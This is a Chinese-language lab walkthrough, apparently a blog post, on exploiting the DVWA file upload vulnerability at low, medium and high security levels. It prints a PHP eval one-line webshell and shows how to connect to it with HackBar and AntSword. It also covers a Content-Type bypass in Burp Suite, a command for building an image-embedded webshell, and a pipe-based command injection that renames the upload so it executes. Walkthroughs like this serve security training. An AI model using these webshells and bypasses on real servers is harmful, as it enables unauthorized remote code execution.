一、Low
如果你没有上传失败的错误,可以直接跳到第三步,上传文件过大和解决方案,如果有上传失败的错误,可以参考我的前俩步,去做一些修改
(1)、上传失败之修改文件权限
尝试上传一个文件,然后我上传的是一张图片

但是上传失败
因为我知道这个dvwa靶场上传文件,存储的地方还是在本地的一个文件夹中,我以为是文件无法写入,就去先把这个文件的权限设置为完全控制,但是并没有解决问题,所以就不对这一步做过多赘述

(2)、上传失败之PHP 的临时文件转存过程出错

这俩个yes说明 文件夹权限完全没问题,DVWA 已经能识别并写入这个目录了。既然权限没问题,图片也不大,那剩下的唯一可能就是 PHP 的临时文件转存过程出错了。
在 Windows + 小皮面板(phpstudy)环境下,这通常是由于 PHP 找不到临时存放文件的位置导致的。
我的图片大小399KB,我现在是觉得比较小,但是后文还是要处理一下。

现在来检查并设置 PHP 临时目录
打开你的 php.ini 文件(在小皮面板里点击"设置"->"配置文件"->php.ini),搜索 upload_tmp_dir:
如果是这样: ;upload_tmp_dir =(前面有分号,且后面为空)。
请改成这样: upload_tmp_dir = "E:\ctf\web\phpstudy\phpstudy_pro\phpstudy_pro\WWW\dvwa\temp"
这个路径是我的dvwa靶场的路径,你的要把改成你自己的
注意: 你需要手动在 dvwa 目录下新建一个名为 temp 的文件夹。
记得重启 Apache/PHP 服务!
(3)上传失败之文件过大和解决方案
DVWA 的前端 HTML 页面里通常隐藏了一行代码,用来限制上传文件的最大值(通常被限制得很小,比如几百 KB 甚至更低)。即使你的图片只有 399 KB,如果表单限制是 100 KB,那也会限制上传。
但没必要去特意找一张小图片
我们可以直接绕过前端限制
1.打开 DVWA 的上传页面。
2.鼠标右键点击"选择文件"按钮,选择 "检查" (Inspect) 或按 F12。
在代码里找一个标签:<input type="hidden" name="MAX_FILE_SIZE" value="XXXXXX">。

双击这个 value,把它改大(比如后面多加几个 0,改成 10000000)。
关掉开发者工具,不要刷新页面,直接选择你的图片点击上传。

(4)、上传成功后,测试图片是否成功上传
可以通过在路径端口后添加你的文件路径,我的是/hackable/uploads/yx.jpg,然后就可以访问到这个图片了

也可以直接查看本地文件夹里是否有这张图片

(5)、low级别上传一句话木马并用hackbar回显数据
上传的文件完全没有任何安全检查。
简单来说,这段代码就像一个不锁门的仓库,你给它什么,它就存什么。

这是一个简单的一句话木马
php
<?php @eval($_POST['muma']); ?>
上传成功页面如下

用刚刚打开图片的方法,打开这个一句话木马,但是页面是空白,我们需要用hackbar这种测试工具,去对木马中的post数据的提交
点击load就把当前页面的URL输入到hackbar中了,然后点击use post method,去使用post方法,在编写body的值,最后点击execute,就可以使页面回显了

但如果环境比较严格,建议加上引号,例如:muma=echo "hello";。
当看到页面回显hello时,这就显示我们在low模式下文件上传,已经被绕过,并且连接到木马,除了用这种方式去连接木马,在木马已经上传的情况下,还可以用菜刀和蚁剑去连接木马,然后去获取到对应木马所在目录的所有位置。
(6)、蚁剑连接已上传木马
如果没有蚁剑这个工具,我的另一篇博客里面有windows下载教程,可以去下载一下
1.打开蚁剑,右键之后,点击添加数据,就出现下面这个页面

2.把url复制过来,然后连接密码就是一句话木马中的muma,这个muma是我自己的,你的如果和我不一样,就自己改一下
php
<?php @eval($_POST['muma']); ?>
输入完这俩条关键信息之后,点击测试连接

连接成功之后,点击测试连接左边的左边的添加,就出现下面这个页面

双击这个地址,就可以看到所有的目录信息了

二、Medium
首先直接把那个一句话脚本再次上传一下

发现它只接受jpeg和png的文件类型
所以猜测它在代码里对文件类型有做检测,一般是在请求响应中表现为对MIME类型的检测
https://www.runoob.com/http/mime-types.html
这个网址有对MIME类型进行讲解
因为MIME类型是在前端的请求响应中进行判别的,所以可以使用bp抓包
抓到包后,把这个请求发送到重放器中

然后把Content-Type: 后面的值改为image/jpeg,点击发送,

一句话木马就上传成功了,上传成功后,就可以用hackbar或者菜刀,蚁剑去连接这个木马

三、High
高模式下的安全检测会更严格一些,我们可以通过制作图片马,就是在图片里面去插入木马,然后把木马上传到对方服务器
(1)、制作图片马的步骤
1.先打开cmd,进去自己存放这个图片和一句话木马的文件夹下

2.然后再当前目录下执行下面操作
copy yx.jpg/b + 1.php/a muma.jpg
yx.jpg 换成自己的图片,1.php也换成自己的木马
在 Windows 的 copy 命令中,参数 /b(二进制)和 /a(ASCII)的位置会影响合成逻辑
如果是用上面的方法合成图片马的话,木马代码会被写在图片的 最后面。
3.检查
用记事本去打开图片,直接拉到最后面,可以看到一句话木马在最后

(2)、上传图片马

因为这是高级模式,所以他的后端校验比较严格,就是不能绕过前端校验,我合成的图片马大小是399kb,它限制是100kb,所以我又重新合成了一个图片马,然后才上传成功

因为图片不能直接连接木马去执行,所以用不了hackbar和蚁剑等工具,所以需要在dvwa靶场中找到其他漏洞吧图片转化成可执行文件
(3)、利用dvwa靶场的Command Injection命令注入
利用它把上传到靶场的muma1.jpg转化成muma1.php
DVWA 靶场下命令注入界面可以输入 IP 提交,然后后台会执行 ping 操作,在命令注入时和 SQL 注入类似,能够通过或语句进行命令拼接,使它按照攻击者的意图来执行命令。
命令可以拼接为:127.0.0.1|move ../../hackable/uploads/muma1.jpg ../../hackable/uploads/muma1.php
这使得原来的 muma1.jpg 被改名为 muma1.php 因此可以再次通过之前 Hackbar 或 蚁剑的方式连接到木马。至此 DVWA 靶场的文件上传漏洞都能被绕过成功,并连接到了上传的木马。

当我看到这种情况时,我还以为错了呢,但是我用hackbar连接,发现成功出现hello了

同样用蚁剑也可以,就不做过多赘述了
(4)、乱码问题修改
先找到这个文件

打开它之后,ctrl+f搜索**header,**找到第二行的charset,把后面的utf-8改成GBK


然后回到命令注入,我会瞬移,重新把那个语句执行一下,发现乱码说的是这个意思

至此关于dvwa靶场的文件上传就结束了,如有瑕疵或不理解的地方,请私信我,谢谢